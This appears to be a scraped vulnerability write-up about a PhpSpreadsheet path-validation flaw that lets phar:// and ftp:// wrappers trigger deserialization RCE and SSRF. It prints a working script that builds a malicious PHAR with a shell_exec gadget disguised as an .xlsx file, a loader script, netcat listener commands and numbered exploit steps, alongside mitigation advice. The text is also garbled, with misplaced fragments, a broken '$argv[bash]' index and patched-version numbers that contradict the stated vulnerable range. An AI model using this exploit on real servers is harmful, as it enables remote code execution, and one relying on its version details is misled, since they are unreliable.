Listen to this Post
🔬 How the Vulnerability Works
The core issue is how `PhpSpreadsheet` validates file paths supplied to IOFactory::load(). The library uses `is_file($filename)` inside `File::assertFile()` to check if a file exists. `is_file()` is PHP wrapper‑aware and will call `stat()` on any stream wrapper that supports it. Three wrapper types pass this check: ftp://`,phar://, andssh2.sftp://`.
Because `is_file()` returns `true` for these wrapper paths, the validation succeeds and the path is passed deeper into the loading process.
– With phar://, the library will deserialize metadata stored inside the PHAR archive. If a malicious gadget chain exists, this leads to Remote Code Execution (RCE).
– With ftp://`, the library makes an outbound connection to the specified FTP server, causing a Server‑Side Request Forgery (SSRF) that can be used to scan internal networks or interact with internal services.1.30.2
The attack works even if the file inside the PHAR does not exist; the vulnerable logic triggers before any “file not found” error occurs. The issue remains present at least up to version.
<h2 style="color: blue;">dailycve form</h2>
Platform: PhpSpreadsheet Version: 1.30.2 (≤1.30.2, 2.1.14, 2.4.3, 3.10.3) Vulnerability : SSRF / Phar‑Deserialization → RCE Severity: High (CVSS 8.8) date: 2024‑10‑07 Prediction: 2024‑10‑21
<h2 style="color: blue;">📊 What Undercode Say</h2>
Bash command to test if a server is vulnerable
Check for vulnerable versions via Composer composer show phpoffice/phpspreadsheet | grep versions Quick SSRF test (requires netcat listener) nc -lvnp 21 & php test.php ftp://127.0.0.1:21/test
<h2 style="color: blue;">PHP gadget to generate a malicious PHAR</h2>
<?php
// make_phar.php – create a PHAR that triggers RCE
class GadgetClass {
public $data;
function __construct($d) { $this->data = $d; }
function __destruct() { shell_exec($this->data); }
}
$pop = new GadgetClass('touch /tmp/poc.txt');
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('whatever', 'dummy content');
$phar->setMetadata($pop);
$phar->stopBuffering();
rename('exploit.phar', 'exploit.xlsx');
echo "exploit.xlsx created\n";
?>
<h2 style="color: blue;">Test script that loads the malicious path</h2>
<?php
// test.php – loads a user‑supplied file path
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;
$filename = $argv[bash] ?? null;
if (!$filename) exit("Usage: php test.php <path>\n");
echo "Calling IOFactory::load('$filename')\n";
try {
$spreadsheet = IOFactory::load($filename);
var_dump($spreadsheet);
} catch (Throwable $e) {
echo "Vulnerability triggered even on exception.\n";
}
?>
<h2 style="color: blue;">RCE demonstration</h2>
php -c php.ini make_phar.php && php test.php phar://exploit.xlsx/test ls -lah /tmp/poc.txt file created = RCE successful
<h2 style="color: blue;">SSRF demonstration</h2>
Terminal 1: start FTP listener ncat -lvp 21 Terminal 2: trigger SSRF php test.php ftp://127.0.0.1:21/test
<h2 style="color: blue;">🛠️ Exploit</h2>
1. Craft a malicious PHAR using the provided `make_phar.php` script.
2. Rename it to disguise the payload (e.g.exploit.xlsx).php test.php phar://exploit.xlsx/whatever
3. Serve or upload the file to a location accessible by the target application.
<h2 style="color: blue;">4. Call `IOFactory::load()` with a `phar://` path, e.g.</h2>
<h2 style="color: blue;">.</h2>ftp://` wrapper path; the library will attempt to connect to the specified host/port.
5. Observe the gadget’s destructor being invoked → arbitrary command execution.
For SSRF, simply supply an
🔒 Protection from this CVE
- Upgrade PhpSpreadsheet to a patched version:
≥1.29.2,≥2.1.1,≥2.3.0, `≥3.0.0` etc.- Input validation – reject any file path containing a PHP stream wrapper:
$scheme = parse_url($filename, PHP_URL_SCHEME); if ($scheme !== null && strlen($scheme) > 1) { throw new Exception("Stream wrappers are not permitted."); } - Use `realpath()` before validation to collapse wrapper paths:
$real = realpath($filename); if ($real === false || !is_file($real)) { throw new Exception("Invalid file path."); } - Disable dangerous PHP wrappers in `php.ini` (e.g.
phar.readonly = On, disableexpect://, `ftp://` etc.). - Avoid using `IOFactory::load()` on user‑supplied filenames – prefer `IOFactory::createReader()` with a strict reader type.
💥 Impact
- Remote Code Execution – An attacker can execute arbitrary commands on the server by chaining the PHAR deserialisation with a gadget present in the application’s dependency tree.
- Server‑Side Request Forgery (SSRF) – The library can be tricked into making HTTP/FTP requests to internal hosts, leading to information disclosure, port scanning, or interaction with internal services.
- Arbitrary File Read – Local files can be exfiltrated (e.g.,
/etc/passwd) if the application writes the loaded content to an output (e.g., HTML writer). - Widespread exposure – PhpSpreadsheet is a core dependency in many popular wrappers (maatwebsite/excel for Laravel, sonata-project/exporter, etc.), amplifying the attack surface.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

